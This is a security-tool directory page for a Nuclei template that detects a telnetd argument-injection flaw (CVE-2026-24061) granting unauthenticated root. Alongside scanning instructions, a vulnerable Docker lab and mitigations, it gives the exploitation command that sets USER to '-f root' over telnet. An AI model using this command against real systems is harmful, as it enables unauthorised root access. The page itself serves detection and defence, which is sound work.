Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061 — Nuclei template for detecting CVE-2026-24061, a critical telnet argument injection in GNU inetutils telnetd allowing unauthenticated root access. | Kitploit
Tools/GitHubGitHub/mr-zapi/cve-2026-24061
Vulnerability ScannersExploitationWeb Application ExploitationNetwork SecurityPenetration TestingLearning & Education
GitHubmr-zapi/cve-2026-24061

CVE-2026-24061

Nuclei template for detecting CVE-2026-24061, a critical telnet argument injection in GNU inetutils telnetd allowing unauthenticated root access.

View Repository
17 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061 - Telnet Argument Injection

Nuclei template for detecting the CVE-2026-24061 vulnerability in GNU inetutils telnetd, allowing root access without authentication.

📋 Vulnerability Description

CVE-2026-24061 is a critical argument injection vulnerability in GNU inetutils telnetd that allows an attacker to obtain a root shell without knowing the password.

How does it work?

  1. Root cause: In 2015, a new login template with the dynamic %U parameter was added to telnetd:
root@kitploit:~
   /usr/bin/login -p -h %h %?u{-f %u}{%U}
  1. Vulnerability: The USER environment variable is passed via the telnet protocol (RFC 1572 NEW-ENVIRON) and is not sanitized before being substituted into the command.

  2. Exploitation: The attacker sets USER="-f root" when connecting:

root@kitploit:~
   USER="-f root" telnet -a target.com 23
  1. Result: The login command becomes:
root@kitploit:~
   /usr/bin/login -p -h hostname -f root

The -f flag means "skip authentication" → root without a password 💀

🎯 Affected Versions

  • GNU inetutils telnetd with the vulnerable login template
  • For example: inetutils-telnetd 2:2.0-1+deb11u2
  • Systems where telnetd uses autologin without Kerberos

🚀 Usage

Basic scanning

root@kitploit:~
nuclei -t cve-2026-24061.yaml -u target.com:23 -code

Multiple targets

root@kitploit:~
nuclei -t cve-2026-24061.yaml -l targets.txt -code

🔬 Test Lab

For testing, you can spin up a vulnerable Docker container:

root@kitploit:~
FROM debian:11-slim

ENV DEBIAN_FRONTEND=noninteractive

RUN apt-get update && \
    apt-get install -y --no-install-recommends \
      inetutils-telnetd=2:2.0-1+deb11u2 \
      telnet && \
    rm -rf /var/lib/apt/lists/*

RUN useradd user1 && \
    sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf

EXPOSE 23

CMD ["/usr/sbin/inetutils-inetd", "-d"]

Running:

root@kitploit:~
# Build the image
docker build -t vuln-telnetd .

# Run it
docker run -d -p 2323:23 vuln-telnetd

# Check for the vulnerability
nuclei -t cve-2026-24061.yaml -u 127.0.0.1:2323 -code -v

🛡️ Mitigation

  1. Update inetutils to the patched version
  2. Disable telnetd and use SSH
  3. Filter port 23 on the firewall
  4. Monitor telnet connections

📚 References

  • NVD - CVE-2026-24061
  • SafeBreach Labs - Root Cause Analysis

📊 CVSS Score

9.8 / 10 - Critical

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • AV:N - Network (attack over the network)
  • AC:L - Low complexity (easy to exploit)
  • PR:N - No privileges required (no authentication needed)
  • UI:N - No user interaction (automatic exploitation)
  • C:H/I:H/A:H - High impact on confidentiality, integrity, and availability

⚠️ Disclaimer

This tool is intended only for legal security testing of systems for which you have explicit permission.

The author is not responsible for any misuse of this template.

👤 Author

Created by Mr.Zapi

Download Tool